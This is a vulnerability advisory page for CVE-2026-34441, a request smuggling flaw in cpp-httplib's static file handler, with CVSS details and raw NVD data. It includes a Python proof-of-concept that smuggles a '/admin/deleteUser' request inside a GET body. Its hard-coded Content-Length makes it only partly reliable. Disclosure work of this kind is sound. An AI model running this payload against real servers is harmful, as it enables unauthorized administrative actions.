Security Vulnerability Report
中文
CVE-2026-34441 CVSS 4.8 MEDIUM

CVE-2026-34441

Published: 2026-03-31 22:16:19
Last Modified: 2026-04-01 20:28:02

Description

cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.40.0, cpp-httplib is vulnerable to HTTP Request Smuggling. The server's static file handler serves GET responses without consuming the request body. On HTTP/1.1 keep-alive connections, the unread body bytes remain on the TCP stream and are interpreted as the start of a new HTTP request. An attacker can embed an arbitrary HTTP request inside the body of a GET request, which the server processes as a separate request. This issue has been patched in version 0.40.0.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:* - VULNERABLE
cpp-httplib < 0.40.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def send_smuggling_attack(host, port, static_file_path): # Construct the malicious request # First request: GET request for a static file with a body containing the second request smuggled_request = ( f"GET {static_file_path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Length: 65\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"GET /admin/deleteUser HTTP/1.1\r\n" f"Host: {host}\r\n" f"\r\n" ) print(f"[*] Sending smuggling payload to {host}:{port}...") # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send the payload s.sendall(smuggled_request.encode()) # Receive response for the first request (the static file) response1 = s.recv(4096).decode() print("[*] Received first response (likely 200 OK for static file):") print(response1.split('\r\n\r\n')[0]) # Wait a moment to simulate the server processing the next request from the stream time.sleep(1) # The server might have already processed the second request, # or we might need to send another simple request to trigger the parsing of the buffered data, # depending on the exact server implementation behavior. # In this specific scenario (cpp-httplib), the server reads the next request from the socket immediately. # Try to receive the response of the smuggled request # Note: This might block if the server doesn't send a response immediately or requires another trigger try: s.settimeout(2) response2 = s.recv(4096).decode() print("[*] Received second response (Smuggled request response):") print(response2) except socket.timeout: print("[*] No immediate response received for the smuggled request (might have been processed internally).") s.close() if __name__ == "__main__": # Example usage # Replace with actual vulnerable server details TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 TARGET_FILE = "/index.html" # Warning: Only run this against a server you have permission to test. # send_smuggling_attack(TARGET_HOST, TARGET_PORT, TARGET_FILE) print("PoC script generated for CVE-2026-34441.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34441", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:19.177", "lastModified": "2026-04-01T20:28:01.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cpp-httplib is a C++11 single-file header-only cross platform HTTP/HTTPS library. Prior to version 0.40.0, cpp-httplib is vulnerable to HTTP Request Smuggling. The server's static file handler serves GET responses without consuming the request body. On HTTP/1.1 keep-alive connections, the unread body bytes remain on the TCP stream and are interpreted as the start of a new HTTP request. An attacker can embed an arbitrary HTTP request inside the body of a GET request, which the server processes as a separate request. This issue has been patched in version 0.40.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yhirose:cpp-httplib:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.40.0", "matchCriteriaId": "A947965B-F808-42D7-865A-82285252B077"}]}]}], "references": [{"url": "https://github.com/yhirose/cpp-httplib/releases/tag/v0.40.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-jv63-rm9j-6jwc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}